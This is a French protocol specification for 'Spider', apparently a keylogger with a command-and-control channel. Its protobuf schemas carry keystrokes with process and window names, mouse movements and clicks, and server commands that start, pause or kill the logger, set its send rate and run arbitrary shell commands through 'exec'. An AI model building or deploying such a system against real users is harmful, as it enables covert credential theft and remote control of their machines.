#Spider Protocols
###Enveloppe.proto
message Enveloppe {
required string UUID = 1;
required string PayloadBuffer = 2;
required google.protobuf.Any Payload = 3;
}
Element | Type | Requis | Commentaire |
---|---|---|---|
UUID | string | Oui | Il est généré par le serveur à la première connexion |
Buffer | string | Oui | Il est généré par Protocol Buffer et il contient une version sérialisée de Payload |
Payload | Packet | Oui | Il est le corps du message et contient des données différentes par Packet |
Liste des structures Packet : |
- LogPacket
- CmdPacket
- RequestPacket
###LogPacket.proto
message LogPacket {
message WinContext {
required string Process = 1;
required string WindowName = 2;
}
required google.protobuf.Any Log = 1;
optional WinContext Context = 2;
required int32 Epoch = 3;
}
Element | Type | Requis | Commentaire |
---|---|---|---|
Process | string | Oui | C'est le nom du preocessus |
WindowName | string | Oui | C'est le nom de la fenêtre |
Log | Log | Oui | Il contient des valeurs loggées différentes par device |
Context | WinContext | Non | Il permet de regrouper les inputs par process et par fenêtre |
Epoch | integer | Oui | C'est le timestamp qui correspond au moment de l'action |
Liste des structures Log : |
- KeyboardLog
- MovementLog
- ClickLog
###KeyboardLog.proto
message KeyboardLog {
required string Keylog = 1;
}
Element | Type | Requis | Commentaire |
---|---|---|---|
Keylog | string | Oui | C'est la keylog string en brute |
Les touches de combinaison sont formattées sous la forme: "[%s+%s]", mod, key . |
###MovementLog.proto
message MovementLog {
message Point {
required int32 x = 1;
required int32 y = 2;
}
required Point From = 1;
required Point To = 2;
}
Element | Type | Requis | Commentaire |
---|---|---|---|
x | integer | Oui | C'est la position X en pixels |
y | integer | Oui | C'est la position Y en pixels |
From | Point | Oui | C'est la position du pointeur avant le mouvement |
To | Point | Oui | C'est la position du pointeur après le mouvement |
###ClickLog.proto
message ClickLog {
message Point {
required int32 x = 1;
required int32 y = 2;
}
enum ButtonID {
RIGHT = 0;
MIDDLE = 1;
LEFT = 2;
}
optional ButtonID Button = 1;
required Point Target = 2;
}
Element | Type | Requis | Commentaire |
---|---|---|---|
Button | ButtonID | Non | C'est l'ID du bouton |
Target | Point | Oui | C'est la cible du click |
###CmdPacket.proto
message CmdPacket {
required string TargetUUID = 1;
required string Name = 2;
optional string Argument = 3;
}
Element | Type | Requis | Commentaire |
---|---|---|---|
TargetUUID | string | Oui | C'est l'UUID du client destinataire |
Name | string | Oui | C'est le nom de la commande |
Argument | string | Non | C'est son argument selon la commande |
Commande | Argument | Commentaire --------|------|--------|------------ start | Aucun | Elle démarre le keylogger si il est en pause stop | Aucun | Elle met le keylogger en pause kill | Aucun | Elle déconnecte et arrête le processus du client exec | string | Elle exécute une commande dans un terminal status | Aucun | Elle renvoie le status d'activité du processus client delay | integer | Elle permet d'indiquer la nouvelle fréquence d'envoi du keylogger
Le delay
peut prendre la valeur 0
pour indiquer le mode flood.
###RequestPacket.proto
message RequestPacket {
enum MethodID {
LIST = 0;
GET = 1;
SEND = 2;
}
required MethodID Method = 1;
optional string TargetUUID = 2;
optional int32 Limit = 3;
optional CmdPacket Command = 4;
}
Element | Type | Requis | Commentaire |
---|---|---|---|
Method | MethodID | Oui | C'est l'intention de la requette |
TargetUUID | string | Non | Pour SEND et GET , c'est l'UUID du client destinataire |
Limit | integer | Non | Pour la méthode LIST , c'est le nombre d'éléments retournés |
Command | CmdPacket | Non | Pour SEND et GET , c'est la commande à executer côter client |
Limit
est initialisé à la valeur 20
si non-spécifié.